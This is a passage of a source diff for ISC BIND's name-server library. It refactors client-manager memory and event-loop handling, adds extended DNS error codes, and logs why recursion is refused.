 				   ns_statscounter_requestv6);
 	}
 	if (TCP_CLIENT(client)) {
-		ns_stats_increment(client->sctx->nsstats,
+		ns_stats_increment(client->manager->sctx->nsstats,
 				   ns_statscounter_requesttcp);
 		switch (isc_sockaddr_pf(&client->peeraddr)) {
 		case AF_INET:
-			isc_stats_increment(client->sctx->tcpinstats4,
-					    ISC_MIN((int)reqsize / 16, 18));
+			isc_histomulti_inc(client->manager->sctx->tcpinstats4,
+					   DNS_SIZEHISTO_BUCKETIN(reqsize));
 			break;
 		case AF_INET6:
-			isc_stats_increment(client->sctx->tcpinstats6,
-					    ISC_MIN((int)reqsize / 16, 18));
+			isc_histomulti_inc(client->manager->sctx->tcpinstats6,
+					   DNS_SIZEHISTO_BUCKETIN(reqsize));
 			break;
 		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	} else {
 		switch (isc_sockaddr_pf(&client->peeraddr)) {
 		case AF_INET:
-			isc_stats_increment(client->sctx->udpinstats4,
-					    ISC_MIN((int)reqsize / 16, 18));
+			isc_histomulti_inc(client->manager->sctx->udpinstats4,
+					   DNS_SIZEHISTO_BUCKETIN(reqsize));
 			break;
 		case AF_INET6:
-			isc_stats_increment(client->sctx->udpinstats6,
-					    ISC_MIN((int)reqsize / 16, 18));
+			isc_histomulti_inc(client->manager->sctx->udpinstats6,
+					   DNS_SIZEHISTO_BUCKETIN(reqsize));
 			break;
 		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	}
 
@@ -1809,19 +1912,7 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 		return;
 	}
 
-	/*
-	 * Disable pipelined TCP query processing if necessary.
-	 */
-	if (TCP_CLIENT(client) &&
-	    (client->message->opcode != dns_opcode_query ||
-	     (client->sctx->keepresporder != NULL &&
-	      dns_acl_allowed(&netaddr, NULL, client->sctx->keepresporder,
-			      env))))
-	{
-		isc_nm_tcpdns_sequential(handle);
-	}
-
-	dns_opcodestats_increment(client->sctx->opcodestats,
+	dns_opcodestats_increment(client->manager->sctx->opcodestats,
 				  client->message->opcode);
 	switch (client->message->opcode) {
 	case dns_opcode_query:
@@ -1836,11 +1927,12 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 	}
 
 	client->message->rcode = dns_rcode_noerror;
+	client->ede = NULL;
 
 	/*
 	 * Deal with EDNS.
 	 */
-	if ((client->sctx->options & NS_SERVER_NOEDNS) != 0) {
+	if ((client->manager->sctx->options & NS_SERVER_NOEDNS) != 0) {
 		opt = NULL;
 	} else {
 		opt = dns_message_getopt(client->message);
@@ -1854,7 +1946,9 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 		 * Are returning FORMERR to all EDNS queries?
 		 * Simulate a STD13 compliant server.
 		 */
-		if ((client->sctx->options & NS_SERVER_EDNSFORMERR) != 0) {
+		if ((client->manager->sctx->options & NS_SERVER_EDNSFORMERR) !=
+		    0)
+		{
 			ns_client_error(client, DNS_R_FORMERR);
 			return;
 		}
@@ -1862,7 +1956,9 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 		/*
 		 * Are returning NOTIMP to all EDNS queries?
 		 */
-		if ((client->sctx->options & NS_SERVER_EDNSNOTIMP) != 0) {
+		if ((client->manager->sctx->options & NS_SERVER_EDNSNOTIMP) !=
+		    0)
+		{
 			ns_client_error(client, DNS_R_NOTIMP);
 			return;
 		}
@@ -1870,7 +1966,9 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 		/*
 		 * Are returning REFUSED to all EDNS queries?
 		 */
-		if ((client->sctx->options & NS_SERVER_EDNSREFUSED) != 0) {
+		if ((client->manager->sctx->options & NS_SERVER_EDNSREFUSED) !=
+		    0)
+		{
 			ns_client_error(client, DNS_R_REFUSED);
 			return;
 		}
@@ -1878,7 +1976,8 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 		/*
 		 * Are we dropping all EDNS queries?
 		 */
-		if ((client->sctx->options & NS_SERVER_DROPEDNS) != 0) {
+		if ((client->manager->sctx->options & NS_SERVER_DROPEDNS) != 0)
+		{
 			ns_client_drop(client, ISC_R_SUCCESS);
 			return;
 		}
@@ -1917,14 +2016,12 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 		return;
 	}
 
-	sockaddr = isc_nmhandle_localaddr(handle);
-	isc_netaddr_fromsockaddr(&client->destaddr, &sockaddr);
-
-	isc_sockaddr_fromnetaddr(&client->destsockaddr, &client->destaddr, 0);
+	client->destsockaddr = isc_nmhandle_localaddr(handle);
+	isc_netaddr_fromsockaddr(&client->destaddr, &client->destsockaddr);
 
-	result = client->sctx->matchingview(&netaddr, &client->destaddr,
-					    client->message, env, &sigresult,
-					    &client->view);
+	result = client->manager->sctx->matchingview(
+		&netaddr, &client->destaddr, client->message, env, &sigresult,
+		&client->view);
 	if (result != ISC_R_SUCCESS) {
 		char classname[DNS_RDATACLASS_FORMATSIZE];
 
@@ -1949,6 +2046,7 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 			      NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(1),
 			      "no matching view in class '%s'", classname);
 		ns_client_dumpmessage(client, "no matching view in class");
+		ns_client_extendederror(client, DNS_EDE_PROHIBITED, NULL);
 		ns_client_error(client, notimp ? DNS_R_NOTIMP : DNS_R_REFUSED);
 		return;
 	}
@@ -1968,10 +2066,10 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 	if (result != ISC_R_NOTFOUND) {
 		signame = NULL;
 		if (dns_message_gettsig(client->message, &signame) != NULL) {
-			ns_stats_increment(client->sctx->nsstats,
+			ns_stats_increment(client->manager->sctx->nsstats,
 					   ns_statscounter_tsigin);
 		} else {
-			ns_stats_increment(client->sctx->nsstats,
+			ns_stats_increment(client->manager->sctx->nsstats,
 					   ns_statscounter_sig0in);
 		}
 	}
@@ -1997,13 +2095,12 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 		isc_result_t tresult;
 
 		/* There is a signature, but it is bad. */
-		ns_stats_increment(client->sctx->nsstats,
+		ns_stats_increment(client->manager->sctx->nsstats,
 				   ns_statscounter_invalidsig);
 		signame = NULL;
 		if (dns_message_gettsig(client->message, &signame) != NULL) {
 			char namebuf[DNS_NAME_FORMATSIZE];
-			char cnamebuf[DNS_NAME_FORMATSIZE];
-			dns_name_format(signame, namebuf, sizeof(namebuf));
+
 			status = client->message->tsigstatus;
 			isc_buffer_init(&b, tsigrcode, sizeof(tsigrcode) - 1);
 			tresult = dns_tsigrcode_totext(status, &b);
@@ -2012,23 +2109,17 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 			if (client->message->tsigkey->generated) {
 				dns_name_format(
 					client->message->tsigkey->creator,
-					cnamebuf, sizeof(cnamebuf));
-				ns_client_log(
-					client, DNS_LOGCATEGORY_SECURITY,
-					NS_LOGMODULE_CLIENT, ISC_LOG_ERROR,
-					"request has invalid signature: "
-					"TSIG %s (%s): %s (%s)",
-					namebuf, cnamebuf,
-					isc_result_totext(result), tsigrcode);
+					namebuf, sizeof(namebuf));
 			} else {
-				ns_client_log(
-					client, DNS_LOGCATEGORY_SECURITY,
-					NS_LOGMODULE_CLIENT, ISC_LOG_ERROR,
-					"request has invalid signature: "
-					"TSIG %s: %s (%s)",
-					namebuf, isc_result_totext(result),
-					tsigrcode);
+				dns_name_format(signame, namebuf,
+						sizeof(namebuf));
 			}
+			ns_client_log(client, DNS_LOGCATEGORY_SECURITY,
+				      NS_LOGMODULE_CLIENT, ISC_LOG_ERROR,
+				      "request has invalid signature: "
+				      "TSIG %s: %s (%s)",
+				      namebuf, isc_result_totext(result),
+				      tsigrcode);
 		} else {
 			status = client->message->sig0status;
 			isc_buffer_init(&b, tsigrcode, sizeof(tsigrcode) - 1);
@@ -2044,7 +2135,7 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 		/*
 		 * Accept update messages signed by unknown keys so that
 		 * update forwarding works transparently through slaves
-		 * that don't have all the same keys as the master.
+		 * that don't have all the same keys as the primary.
 		 */
 		if (!(client->message->tsigstatus == dns_tsigerror_badkey &&
 		      client->message->opcode == dns_opcode_update))
@@ -2062,28 +2153,42 @@ ns__client_request(isc_nmhandle_t *handle, isc_result_t eresult,
 	 * cache there is no point in setting RA.
 	 */
 	ra = false;
-	if (client->view->resolver != NULL && client->view->recursion &&
-	    ns_client_checkaclsilent(client, NULL, client->view->recursionacl,
-				     true) == ISC_R_SUCCESS &&
-	    ns_client_checkaclsilent(client, NULL, client->view->cacheacl,
-				     true) == ISC_R_SUCCESS &&
-	    ns_client_checkaclsilent(client, &client->destaddr,
-				     client->view->recursiononacl,
-				     true) == ISC_R_SUCCESS &&
-	    ns_client_checkaclsilent(client, &client->destaddr,
-				     client->view->cacheonacl,
-				     true) == ISC_R_SUCCESS)
+
+	/* must be initialized before ns_client_log uses it as index */
+	if (client->view->resolver == NULL) {
+		ra_refusal_reason = NO_RESOLVER;
+	} else if (!client->view->recursion) {
+		ra_refusal_reason = RECURSION_DISABLED;
+	} else if (ns_client_checkaclsilent(client, NULL,
+					    client->view->recursionacl,
+					    true) != ISC_R_SUCCESS)
+	{
+		ra_refusal_reason = ALLOW_RECURSION;
+	} else if (ns_client_checkaclsilent(client, NULL,
+					    client->view->cacheacl,
+					    true) != ISC_R_SUCCESS)
+	{
+		ra_refusal_reason = ALLOW_QUERY_CACHE;
+	} else if (ns_client_checkaclsilent(client, &client->destaddr,
+					    client->view->recursiononacl,
+					    true) != ISC_R_SUCCESS)
 	{
+		ra_refusal_reason = ALLOW_RECURSION_ON;
+	} else if (ns_client_checkaclsilent(client, &client->destaddr,
+					    client->view->cacheonacl,
+					    true) != ISC_R_SUCCESS)
+	{
+		ra_refusal_reason = ALLOW_QUERY_CACHE_ON;
+	} else {
 		ra = true;
-	}
-
-	if (ra) {
 		client->attributes |= NS_CLIENTATTR_RA;
 	}
 
 	ns_client_log(client, DNS_LOGCATEGORY_SECURITY, NS_LOGMODULE_CLIENT,
 		      ISC_LOG_DEBUG(3),
-		      ra ? "recursion available" : "recursion not available");
+		      ra ? "recursion available"
+			 : "recursion not available (%s)",
+		      ra_reasons[ra_refusal_reason]);
 
 	/*
 	 * Adjust maximum UDP response size for this client.
@@ -2195,19 +2300,16 @@ ns__client_setup(ns_client_t *client, ns_clientmgr_t *mgr, bool new) {
 	if (new) {
 		REQUIRE(VALID_MANAGER(mgr));
 		REQUIRE(client != NULL);
-		REQUIRE(mgr->tid == isc_nm_tid());
+		REQUIRE(mgr->tid == isc_tid());
 
-		*client = (ns_client_t){ .magic = 0, .tid = mgr->tid };
+		*client = (ns_client_t){ .magic = 0 };
 
-		isc_mem_attach(mgr->mctx, &client->mctx);
-		clientmgr_attach(mgr, &client->manager);
-		ns_server_attach(mgr->sctx, &client->sctx);
-		isc_task_attach(mgr->task, &client->task);
+		ns_clientmgr_attach(mgr, &client->manager);
 
-		dns_message_create(client->mctx, DNS_MESSAGE_INTENTPARSE,
-				   &client->message);
+		dns_message_create(client->manager->mctx,
+				   DNS_MESSAGE_INTENTPARSE, &client->message);
 
-		client->sendbuf = isc_mem_get(client->mctx,
+		client->sendbuf = isc_mem_get(client->manager->send_mctx,
 					      NS_CLIENT_SEND_BUFFER_SIZE);
 		/*
 		 * Set magic earlier than usual because ns_query_init()
@@ -2220,30 +2322,19 @@ ns__client_setup(ns_client_t *client, ns_clientmgr_t *mgr, bool new) {
 		}
 	} else {
 		REQUIRE(NS_CLIENT_VALID(client));
-		REQUIRE(client->tid == isc_nm_tid());
-
-		ns_clientmgr_t *oldmgr = client->manager;
-		ns_server_t *sctx = client->sctx;
-		isc_task_t *task = client->task;
-		unsigned char *sendbuf = client->sendbuf;
-		dns_message_t *message = client->message;
-		isc_mem_t *oldmctx = client->mctx;
-		ns_query_t query = client->query;
-		int tid = client->tid;
+		REQUIRE(client->manager->tid == isc_tid());
 
 		/*
 		 * Retain these values from the existing client, but
 		 * zero every thing else.
 		 */
-		*client = (ns_client_t){ .magic = 0,
-					 .mctx = oldmctx,
-					 .manager = oldmgr,
-					 .sctx = sctx,
-					 .task = task,
-					 .sendbuf = sendbuf,
-					 .message = message,
-					 .query = query,
-					 .tid = tid };
+		*client = (ns_client_t){
+			.magic = 0,
+			.manager = client->manager,
+			.sendbuf = client->sendbuf,
+			.message = client->message,
+			.query = client->query,
+		};
 	}
 
 	client->query.attributes &= ~NS_QUERYATTR_ANSWERED;
@@ -2266,7 +2357,7 @@ ns__client_setup(ns_client_t *client, ns_clientmgr_t *mgr, bool new) {
 
 cleanup:
 	if (client->sendbuf != NULL) {
-		isc_mem_put(client->mctx, client->sendbuf,
+		isc_mem_put(client->manager->send_mctx, client->sendbuf,
 			    NS_CLIENT_SEND_BUFFER_SIZE);
 	}
 
@@ -2274,120 +2365,122 @@ ns__client_setup(ns_client_t *client, ns_clientmgr_t *mgr, bool new) {
 		dns_message_detach(&client->message);
 	}
 
-	if (client->task != NULL) {
-		isc_task_detach(&client->task);
-	}
-
 	if (client->manager != NULL) {
-		clientmgr_detach(&client->manager);
-	}
-	isc_mem_detach(&client->mctx);
-	if (client->sctx != NULL) {
-		ns_server_detach(&client->sctx);
+		ns_clientmgr_detach(&client->manager);
 	}
 
 	return (result);
 }
 
-bool
-ns_client_shuttingdown(ns_client_t *client) {
-	return (client->shuttingdown);
-}
-
 /***
  *** Client Manager
  ***/
 
 static void
-clientmgr_attach(ns_clientmgr_t *source, ns_clientmgr_t **targetp) {
-	int32_t oldrefs;
-
-	REQUIRE(VALID_MANAGER(source));
-	REQUIRE(targetp != NULL && *targetp == NULL);
-
-	oldrefs = isc_refcount_increment0(&source->references);
-	isc_log_write(ns_lctx, NS_LOGCATEGORY_CLIENT, NS_LOGMODULE_CLIENT,
-		      ISC_LOG_DEBUG(3), "clientmgr @%p attach: %d", source,
-		      oldrefs + 1);
-
-	*targetp = source;
-}
-
-static void
-clientmgr_detach(ns_clientmgr_t **mp) {
-	int32_t oldrefs;
-	ns_clientmgr_t *mgr = *mp;
-	*mp = NULL;
-
-	oldrefs = isc_refcount_decrement(&mgr->references);
-	isc_log_write(ns_lctx, NS_LOGCATEGORY_CLIENT, NS_LOGMODULE_CLIENT,
-		      ISC_LOG_DEBUG(3), "clientmgr @%p detach: %d", mgr,
-		      oldrefs - 1);
-	if (oldrefs == 1) {
-		clientmgr_destroy(mgr);
-	}
-}
-
-static void
-clientmgr_destroy(ns_clientmgr_t *manager) {
+clientmgr_destroy_cb(void *arg) {
+	ns_clientmgr_t *manager = (ns_clientmgr_t *)arg;
 	MTRACE("clientmgr_destroy");
 
-	isc_refcount_destroy(&manager->references);
 	manager->magic = 0;
 
+	isc_refcount_destroy(&manager->references);
+
+	isc_loop_detach(&manager->loop);
+
 	dns_aclenv_detach(&manager->aclenv);
 
-	isc_mutex_destroy(&manager->lock);
 	isc_mutex_destroy(&manager->reclock);
 
-	if (manager->excl != NULL) {
-		isc_task_detach(&manager->excl);
-	}
-
-	isc_task_detach(&manager->task);
 	ns_server_detach(&manager->sctx);
 
+	isc_mem_detach(&manager->send_mctx);
+
 	isc_mem_putanddetach(&manager->mctx, manager, sizeof(*manager));
 }
 
+static void
+clientmgr_destroy(ns_clientmgr_t *mgr) {
+	isc_async_run(mgr->loop, clientmgr_destroy_cb, mgr);
+}
+
+ISC_REFCOUNT_IMPL(ns_clientmgr, clientmgr_destroy);
+
 isc_result_t
-ns_clientmgr_create(ns_server_t *sctx, isc_taskmgr_t *taskmgr,
-		    isc_timermgr_t *timermgr, dns_aclenv_t *aclenv, int tid,
-		    ns_clientmgr_t **managerp) {
+ns_clientmgr_create(ns_server_t *sctx, isc_loopmgr_t *loopmgr,
+		    dns_aclenv_t *aclenv, int tid, ns_clientmgr_t **managerp) {
 	ns_clientmgr_t *manager = NULL;
 	isc_mem_t *mctx = NULL;
-	isc_result_t result;
 
 	isc_mem_create(&mctx);
+	isc_mem_setname(mctx, "clientmgr");
 
 	manager = isc_mem_get(mctx, sizeof(*manager));
-	*manager = (ns_clientmgr_t){ .magic = 0, .mctx = mctx };
-
-	result = isc_taskmgr_excltask(taskmgr, &manager->excl);
-	if (result != ISC_R_SUCCESS) {
-		isc_mem_put(mctx, manager, sizeof(*manager));
-		return (result);
-	}
-
-	isc_mutex_init(&manager->lock);
+	*manager = (ns_clientmgr_t){
+		.magic = 0,
+		.mctx = mctx,
+		.tid = tid,
+		.recursing = ISC_LIST_INITIALIZER,
+	};
+	isc_loop_attach(isc_loop_get(loopmgr, tid), &manager->loop);
 	isc_mutex_init(&manager->reclock);
-
-	manager->taskmgr = taskmgr;
-	manager->timermgr = timermgr;
-	manager->tid = tid;
-
 	dns_aclenv_attach(aclenv, &manager->aclenv);
-
-	manager->exiting = false;
-	result = isc_task_create_bound(manager->taskmgr, 20, &manager->task,
-				       manager->tid);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
 	isc_refcount_init(&manager->references, 1);
-	manager->sctx = NULL;
 	ns_server_attach(sctx, &manager->sctx);
 
-	ISC_LIST_INIT(manager->recursing);
+	/*
+	 * We create specialised per-worker memory context specifically
+	 * dedicated and tuned for allocating send buffers as it is a very
+	 * common operation. Not doing so may result in excessive memory
+	 * use in certain workloads.
+	 *
+	 * Please see this thread for more details:
+	 *
+	 * https://github.com/jemalloc/jemalloc/issues/2483
+	 *
+	 * In particular, this information from the jemalloc developers is
+	 * of the most interest:
+	 *
+	 * https://github.com/jemalloc/jemalloc/issues/2483#issuecomment-1639019699
+	 * https://github.com/jemalloc/jemalloc/issues/2483#issuecomment-1698173849
+	 *
+	 * In essence, we use the following memory management strategy:
+	 *
+	 * 1. We use a per-worker memory arena for send buffers memory
+	 * allocation to reduce lock contention (In reality, we create a
+	 * per-client manager arena, but we have one client manager per
+	 * worker).
+	 *
+	 * 2. The automatically created arenas settings remain unchanged
+	 * and may be controlled by users (e.g. by setting the
+	 * "MALLOC_CONF" variable).
+	 *
+	 * 3. We attune the arenas to not use dirty pages cache as the
+	 * cache would have a poor reuse rate, and that is known to
+	 * significantly contribute to excessive memory use.
+	 *
+	 * 4. There is no strict need for the dirty cache, as there is a
+	 * per arena bin for each allocation size, so because we initially
+	 * allocate strictly 64K per send buffer (enough for a DNS
+	 * message), allocations would get directed to one bin (an "object
+	 * pool" or a "slab") maintained within an arena. That is, there
+	 * is an object pool already, specifically to optimise for the
+	 * case of frequent allocations of objects of the given size. The
+	 * object pool should suffice our needs, as we will end up
+	 * recycling the objects from there without the need to back it by
+	 * an additional layer of dirty pages cache. The dirty pages cache
+	 * would have worked better in the case when there are more
+	 * allocation bins involved due to a higher reuse rate (the case
+	 * of a more "generic" memory management).
+	 */
+	isc_mem_create_arena(&manager->send_mctx);
+	isc_mem_setname(manager->send_mctx, "sendbufs");
+	(void)isc_mem_arena_set_dirty_decay_ms(manager->send_mctx, 0);
+	/*
+	 * Disable muzzy pages cache too, as versions < 5.2.0 have it
+	 * enabled by default. The muzzy pages cache goes right below the
+	 * dirty pages cache and backs it.
+	 */
+	(void)isc_mem_arena_set_muzzy_decay_ms(manager->send_mctx, 0);
 
 	manager->magic = MANAGER_MAGIC;
 
@@ -2399,37 +2492,20 @@ ns_clientmgr_create(ns_server_t *sctx, isc_taskmgr_t *taskmgr,
 }
 
 void
-ns_clientmgr_destroy(ns_clientmgr_t **managerp) {
-	isc_result_t result;
-	ns_clientmgr_t *manager;
-	bool unlock = false;
+ns_clientmgr_shutdown(ns_clientmgr_t *manager) {
+	ns_client_t *client;
 
-	REQUIRE(managerp != NULL);
-	manager = *managerp;
-	*managerp = NULL;
 	REQUIRE(VALID_MANAGER(manager));
 
 	MTRACE("destroy");
 
-	/*
-	 * Check for success because we may already be task-exclusive
-	 * at this point.  Only if we succeed at obtaining an exclusive
-	 * lock now will we need to relinquish it later.
-	 */
-	result = isc_task_beginexclusive(manager->excl);
-	if (result == ISC_R_SUCCESS) {
-		unlock = true;
-	}
-
-	manager->exiting = true;
-
-	if (unlock) {
-		isc_task_endexclusive(manager->excl);
-	}
-
-	if (isc_refcount_decrement(&manager->references) == 1) {
-		clientmgr_destroy(manager);
+	LOCK(&manager->reclock);
+	for (client = ISC_LIST_HEAD(manager->recursing); client != NULL;
+	     client = ISC_LIST_NEXT(client, rlink))
+	{
+		ns_query_cancel(client);
 	}
+	UNLOCK(&manager->reclock);
 }
 
 isc_sockaddr_t *
@@ -2449,6 +2525,7 @@ ns_client_checkaclsilent(ns_client_t *client, isc_netaddr_t *netaddr,
 	dns_aclenv_t *env = client->manager->aclenv;
 	isc_netaddr_t tmpnetaddr;
 	int match;
+	isc_sockaddr_t local;
 
 	if (acl == NULL) {
 		if (default_allow) {
@@ -2463,7 +2540,13 @@ ns_client_checkaclsilent(ns_client_t *client, isc_netaddr_t *netaddr,
 		netaddr = &tmpnetaddr;
 	}
 
-	result = dns_acl_match(netaddr, client->signer, acl, env, &match, NULL);
+	local = isc_nmhandle_localaddr(client->handle);
+	result = dns_acl_match_port_transport(
+		netaddr, isc_sockaddr_getport(&local),
+		isc_nm_socket_type(client->handle),
+		isc_nm_has_encryption(client->handle), client->signer, acl, env,
+		&match, NULL);
+
 	if (result != ISC_R_SUCCESS) {
 		goto deny; /* Internal error, already logged. */
 	}
@@ -2499,6 +2582,7 @@ ns_client_checkacl(ns_client_t *client, isc_sockaddr_t *sockaddr,
 			      NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(3),
 			      "%s approved", opname);
 	} else {
+		ns_client_extendederror(client, DNS_EDE_PROHIBITED, NULL);
 		ns_client_log(client, DNS_LOGCATEGORY_SECURITY,
 			      NS_LOGMODULE_CLIENT, log_level, "%s denied",
 			      opname);
@@ -2612,12 +2696,12 @@ ns_client_dumpmessage(ns_client_t *client, const char *reason) {
 	 */
 
 	do {
-		buf = isc_mem_get(client->mctx, len);
+		buf = isc_mem_get(client->manager->mctx, len);
 		isc_buffer_init(&buffer, buf, len);
 		result = dns_message_totext(
 			client->message, &dns_master_style_debug, 0, &buffer);
 		if (result == ISC_R_NOSPACE) {
-			isc_mem_put(client->mctx, buf, len);
+			isc_mem_put(client->manager->mctx, buf, len);
 			len += 1024;
 		} else if (result == ISC_R_SUCCESS) {
 			ns_client_log(client, NS_LOGCATEGORY_CLIENT,
@@ -2628,7 +2712,7 @@ ns_client_dumpmessage(ns_client_t *client, const char *reason) {
 	} while (result == ISC_R_NOSPACE);
 
 	if (buf != NULL) {
-		isc_mem_put(client->mctx, buf, len);
+		isc_mem_put(client->manager->mctx, buf, len);
 	}
 }
 
@@ -2730,15 +2814,11 @@ ns_client_sourceip(dns_clientinfo_t *ci, isc_sockaddr_t **addrp) {
 dns_rdataset_t *
 ns_client_newrdataset(ns_client_t *client) {
 	dns_rdataset_t *rdataset;
-	isc_result_t result;
 
 	REQUIRE(NS_CLIENT_VALID(client));
 
 	rdataset = NULL;
-	result = dns_message_gettemprdataset(client->message, &rdataset);
-	if (result != ISC_R_SUCCESS) {
-		return (NULL);
-	}
+	dns_message_gettemprdataset(client->message, &rdataset);
 
 	return (rdataset);
 }
@@ -2766,7 +2846,7 @@ ns_client_newnamebuf(ns_client_t *client) {
 
 	CTRACE("ns_client_newnamebuf");
 
-	isc_buffer_allocate(client->mctx, &dbuf, 1024);
+	isc_buffer_allocate(client->manager->mctx, &dbuf, 1024);
 	ISC_LIST_APPEND(client->query.namebufs, dbuf, link);
 
 	CTRACE("ns_client_newnamebuf: done");
@@ -2777,18 +2857,12 @@ dns_name_t *
 ns_client_newname(ns_client_t *client, isc_buffer_t *dbuf, isc_buffer_t *nbuf) {
 	dns_name_t *name = NULL;
 	isc_region_t r;
-	isc_result_t result;
 
 	REQUIRE((client->query.attributes & NS_QUERYATTR_NAMEBUFUSED) == 0);
 
 	CTRACE("ns_client_newname");
 
-	result = dns_message_gettempname(client->message, &name);
-	if (result != ISC_R_SUCCESS) {
-		CTRACE("ns_client_newname: "
-		       "dns_message_gettempname failed: done");
-		return (NULL);
-	}
+	dns_message_gettempname(client->message, &name);
 	isc_buffer_availableregion(dbuf, &r);
 	isc_buffer_init(nbuf, r.base, r.length);
 	dns_name_setbuffer(name, NULL);
@@ -2865,7 +2939,8 @@ ns_client_newdbversion(ns_client_t *client, unsigned int n) {
 	ns_dbversion_t *dbversion = NULL;
 
 	for (i = 0; i < n; i++) {
-		dbversion = isc_mem_get(client->mctx, sizeof(*dbversion));
+		dbversion = isc_mem_get(client->manager->mctx,
+					sizeof(*dbversion));
 		*dbversion = (ns_dbversion_t){ 0 };
 		ISC_LIST_INITANDAPPEND(client->query.freeversions, dbversion,
 				       link);
@@ -2874,7 +2949,7 @@ ns_client_newdbversion(ns_client_t *client, unsigned int n) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline ns_dbversion_t *
+static ns_dbversion_t *
 client_getdbversion(ns_client_t *client) {
 	ns_dbversion_t *dbversion = NULL;
 
diff --git a/lib/ns/hooks.c b/lib/ns/hooks.c
index d608dd05fc..fe9d9cc2ed 100644
--- a/lib/ns/hooks.c
+++ b/lib/ns/hooks.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,18 +16,16 @@
 #include <errno.h>
 #include <stdio.h>
 #include <string.h>
-#include <uv.h>
 
 #include <isc/errno.h>
 #include <isc/list.h>
 #include <isc/log.h>
 #include <isc/mem.h>
 #include <isc/mutex.h>
-#include <isc/platform.h>
-#include <isc/print.h>
 #include <isc/result.h>
 #include <isc/types.h>
 #include <isc/util.h>
+#include <isc/uv.h>
 
 #include <dns/view.h>
 
@@ -53,7 +53,7 @@ struct ns_plugin {
 };
 
 static ns_hooklist_t default_hooktable[NS_HOOKPOINTS_COUNT];
-LIBNS_EXTERNAL_DATA ns_hooktable_t *ns__hook_table = &default_hooktable;
+ns_hooktable_t *ns__hook_table = &default_hooktable;
 
 isc_result_t
 ns_plugin_expandpath(const char *src, char *dst, size_t dstsize) {
@@ -125,10 +125,11 @@ load_plugin(isc_mem_t *mctx, const char *modpath, ns_plugin_t **pluginp) {
 	REQUIRE(pluginp != NULL && *pluginp == NULL);
 
 	plugin = isc_mem_get(mctx, sizeof(*plugin));
-	memset(plugin, 0, sizeof(*plugin));
-	isc_mem_attach(mctx, &plugin->mctx);
+	*plugin = (ns_plugin_t){
+		.modpath = isc_mem_strdup(mctx, modpath),
+	};
 
-	plugin->modpath = isc_mem_strdup(plugin->mctx, modpath);
+	isc_mem_attach(mctx, &plugin->mctx);
 
 	ISC_LINK_INIT(plugin, link);
 
@@ -294,7 +295,8 @@ ns_hooktable_free(isc_mem_t *mctx, void **tablep) {
 
 	for (i = 0; i < NS_HOOKPOINTS_COUNT; i++) {
 		for (hook = ISC_LIST_HEAD((*table)[i]); hook != NULL;
-		     hook = next) {
+		     hook = next)
+		{
 			next = ISC_LIST_NEXT(hook, link);
 			ISC_LIST_UNLINK((*table)[i], hook, link);
 			if (hook->mctx != NULL) {
@@ -318,10 +320,10 @@ ns_hook_add(ns_hooktable_t *hooktable, isc_mem_t *mctx,
 	REQUIRE(hook != NULL);
 
 	copy = isc_mem_get(mctx, sizeof(*copy));
-	memset(copy, 0, sizeof(*copy));
-
-	copy->action = hook->action;
-	copy->action_data = hook->action_data;
+	*copy = (ns_hook_t){
+		.action = hook->action,
+		.action_data = hook->action_data,
+	};
 	isc_mem_attach(mctx, &copy->mctx);
 
 	ISC_LINK_INIT(copy, link);
@@ -335,7 +337,7 @@ ns_plugins_create(isc_mem_t *mctx, ns_plugins_t **listp) {
 	REQUIRE(listp != NULL && *listp == NULL);
 
 	plugins = isc_mem_get(mctx, sizeof(*plugins));
-	memset(plugins, 0, sizeof(*plugins));
+	*plugins = (ns_plugins_t){ 0 };
 	ISC_LIST_INIT(*plugins);
 
 	*listp = plugins;
diff --git a/lib/ns/include/ns/client.h b/lib/ns/include/ns/client.h
index 542ea0dba4..a6b91a9e8e 100644
--- a/lib/ns/include/ns/client.h
+++ b/lib/ns/include/ns/client.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NS_CLIENT_H
-#define NS_CLIENT_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -61,7 +62,6 @@
 #include <isc/buffer.h>
 #include <isc/magic.h>
 #include <isc/netmgr.h>
-#include <isc/platform.h>
 #include <isc/quota.h>
 #include <isc/stdtime.h>
 
@@ -71,7 +71,6 @@
 #include <dns/name.h>
 #include <dns/rdataclass.h>
 #include <dns/rdatatype.h>
-#include <dns/tcpmsg.h>
 #include <dns/types.h>
 
 #include <ns/query.h>
@@ -145,23 +144,15 @@ struct ns_clientmgr {
 	/* Unlocked. */
 	unsigned int magic;
 
-	isc_mem_t *	mctx;
-	ns_server_t *	sctx;
-	isc_taskmgr_t * taskmgr;
-	isc_timermgr_t *timermgr;
-	isc_task_t *	excl;
-	isc_refcount_t	references;
-	int		tid;
-
-	/* Attached by clients, needed for e.g. recursion */
-	isc_task_t *task;
+	isc_mem_t     *mctx;
+	isc_mem_t     *send_mctx;
